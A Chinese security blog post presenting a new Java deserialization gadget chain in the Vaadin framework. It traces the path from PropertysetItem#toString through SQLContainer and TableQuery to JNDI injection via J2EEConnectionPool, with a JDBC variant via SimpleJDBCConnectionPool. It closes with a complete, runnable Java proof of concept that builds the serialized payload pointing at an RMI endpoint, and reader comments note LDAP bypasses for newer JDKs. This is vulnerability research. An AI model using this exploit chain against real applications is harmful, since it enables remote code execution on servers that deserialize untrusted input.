Vaadin新反序列化链

4 分钟

前言

博客许久没有更新了。究其原因,是因为工作了接近两年的时间里,我在业余时间里接触安全知识的欲望正在不断的降低,今天在临国庆前一天工作上的事情并不多,所以就写下了这篇博客,希望能慢慢找到那种写博客的渴望。

J2EEConnectionPool

Vaadin链可以参考我之前的文章:https://www.aiwin.fun/index.php/archives/4398/,主要是通过控制NestedMethodProperty#getValue中的Method.invoke中的参数达到命令执行的效果。

1727740178719

整个链子的入口也是Java Gadgets常见的toString方法,即PropertysetItem#toString,从而把整个链子都能引向HashMap、HashTable、BadAttributeValueExpExceptionreadObject开端。

1727740378261

但其实这里通过getItemProperty方法其实就是从map中根据propertyId来获取值,而map可以通过addItemProperty方法控制值,也就是说可以找到其它类的getValue方法,从而形式新的触发链。

1727740690433

AbstractSelect#getValue方法中,首先从AbstractField#getValue方法中获取值,其实就是触发下方的getFieldValue返回value的值,而value是其中一个可控的参数。所以retValue是可控的,而this.items也是可反射控制的参数,从而能够控制SQLContainer#ContainsId方法,需要注意的是无论是AbstractField还是AbstractSelect都是abstract修饰的方法。
public abstract class AbstractField<T> extends AbstractComponent implements Field<T>, ReadOnlyStatusChangeListener, ReadOnlyStatusChangeNotifier, ShortcutNotifier {
    private T value;
private T getFieldValue() {
        return this.dataSource != null && !this.isBuffered() && !this.isModified() ? this.convertFromModel(this.getDataSourceValue()) : this.getInternalValue();
 }
protected T getInternalValue() {
        return this.value;
    }

SQLContainer#ContainsId中,当cachedItemsremovedItems不包含retValue的值,且retValue属于RowId类但是又不是TemporaryRowId的类时,就能够来到this.queryDelegate.containsRowWithKey方法中,注意这里addedItems也需要赋值,否则会触发报错。

public class SQLContainer implements Container, Filterable, Indexed, Sortable, ItemSetChangeNotifier {
    private QueryDelegate queryDelegate;
public boolean containsId(Object itemId) {
        if (itemId == null) {
            return false;
        } else if (this.cachedItems.containsKey(itemId)) {
            return true;
        } else {
            Iterator var2 = this.addedItems.iterator();

            while(var2.hasNext()) {
                RowItem item = (RowItem)var2.next();
                if (item.getId().equals(itemId)) {
                    return this.itemPassesFilters(item);
                }
            }
            if (this.removedItems.containsKey(itemId)) {
                return false;
            } else if (itemId instanceof ReadOnlyRowId) {
                int rowNum = ((ReadOnlyRowId)itemId).getRowNum();
                return rowNum >= 0 && rowNum < this.size;
            } else {
                if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
                    try {
                        return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());//触发点
                    } catch (Exception var4) {
                        getLogger().log(Level.WARNING, "containsId query failed", var4);
                    }
                }

                return false;
            }
        }
    }

TableQuery类中,存在containsRowWithKey方法,当primaryKeyColumnssqlGenerator都不为空,能顺利走到下面,activeConnection为空,就会进去beginTransaction方法当中。

    public boolean containsRowWithKey(Object... keys) throws SQLException {
        ArrayList<Filter> filtersAndKeys = new ArrayList();
        if (this.filters != null) {
            filtersAndKeys.addAll(this.filters);
        }

        int ix = 0;

        for(Iterator var4 = this.primaryKeyColumns.iterator(); var4.hasNext(); ++ix) {
            String colName = (String)var4.next();
            filtersAndKeys.add(new Equal(colName, keys[ix]));
        }

        StatementHelper sh = this.sqlGenerator.generateSelectQuery(this.getFullTableName(), filtersAndKeys, this.orderBys, 0, 0, "*");
        boolean shouldCloseTransaction = false;
        if (!this.isInTransaction()) {
            shouldCloseTransaction = true;
            this.beginTransaction();
        }

        ResultSet rs = null;

        boolean var8;
        try {
            rs = this.executeQuery(sh);
            boolean contains = rs.next();
            var8 = contains;
        } finally {
            try {
                if (rs != null) {
                    this.releaseConnection((Connection)null, rs.getStatement(), rs);
                }
            } finally {
                if (shouldCloseTransaction) {
                    this.commit();
                }

            }

        }

        return var8;
    }

TableQuery#beginTransaction会触发父类AbstractTransactionalQuery#beginTransaction,在这个方法当中,会通过连接池当中reserveConnection方法进行连接。

1727741457447

1727741476915

J2EEConnectionPool#reserveConnection能通过触发getDataSource从而来到ic.lookup达到jndi注入的效果,dataSourceJndiName是可直接赋值进行控制的。

1727741628836

因此整一条的Gadgets如下:

PropertysetItem#toString->
    AbstractSelect#getValue->
        SQLContainer#ContainsId->
            TableQuery#containsRowWithKey->
                J2EEConnectionPool#reserveConnection->jndi注入

SimpleJDBCConnectionPool

同样在SimpleJDBCConnectionPool#reserveConnection方法中,当没有初始化的时候,会通过initializeConnections进行初始化,从而最终触发DriverManager.getConnection方法达到jdbc反序列化的效果。

1727741941073

1727741962000

那么为什么Vaddin中要出现跟JDBC进行连接的类呢?这与整个Vaddin的依赖有关,能够将所有的代码全部采用Java代码语言实现,不需要编写任何JavaScript代码,拥有种类丰富的UI接面组件库,先进的事件监听和数据绑定功能,所以它是需要与数据库进行交互,获取数据从而动态刷新UI界面的。

整个Gadgetspoc如下:

package com.example.Vaadin;

import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.NativeSelect;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;

public class Vaddin {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, SQLException {
        SimpleJDBCConnectionPool simpleJDBCConnectionPool=new SimpleJDBCConnectionPool("com.mysql.cj.jdbc.Driver","rmi://127.0.0.1:8085/LgcBAOEy","test","test");

        J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("rmi://127.0.0.1:8085/LgcBAOEy");
        Class<?>  table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
        TableQuery tableQuery= (TableQuery) createWithoutConstructor(table);

        setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool);
        setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
        setFieldValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator());

        Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor();
        sql.setAccessible(true);
        SQLContainer sqlContainer=sql.newInstance();
        setFieldValue(sqlContainer,"queryDelegate",tableQuery);


        NativeSelect nativeSelect=new NativeSelect();
        RowId rowId=new RowId(new RowId("1"));
        setSuperValue(nativeSelect,"value",rowId);
        setSuperValue(nativeSelect,"items",sqlContainer);
        setSuperValue(nativeSelect,"multiSelect",true);


        PropertysetItem pItem=new PropertysetItem();
        pItem.addItemProperty("test",nativeSelect);

        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
        setFieldValue(badAttributeValueExpException,"val",pItem);
        byte[] bytes=serialize(badAttributeValueExpException);
        unserialize(bytes);

    }
    public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]);
    }
    public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons);
        constructor.setAccessible(true);
        return (T) constructor.newInstance(consArgs);
    }

    public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method method=object.getClass().getDeclaredMethod(name);
        method.setAccessible(true);
        method.invoke(object);
        return object;
    }
    public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=getField(object.getClass(),name);
        field.setAccessible(true);
        field.set(object,value);
    }

    private static Field getField(Class<?> clazz, String fieldName) {
        while (clazz != null) {
            try {
                return clazz.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

}
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:Vaadin新反序列化链
文章链接:https://aiwin.fun/index.php/archives/4423/
最后编辑:2024 年 10 月 1 日 08:43 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 5 + 3 =
本文共 3 条评论。您也快来参与吧!
    10月3日 广东省广州市 发自Mac OSX 回复

    打rmi的话,那高版本了,是吗。

    10月3日 广东省广州市 发自Mac OSX 回复

    打rmi的话,那不能用高版本了,是吗。

      10月7日 广东省广州市 发自Windows 10 回复

      依赖不可以使用高版本,如果是JDK的高版本,可以尝试下控制serializeData字段进行高版本的ldap注入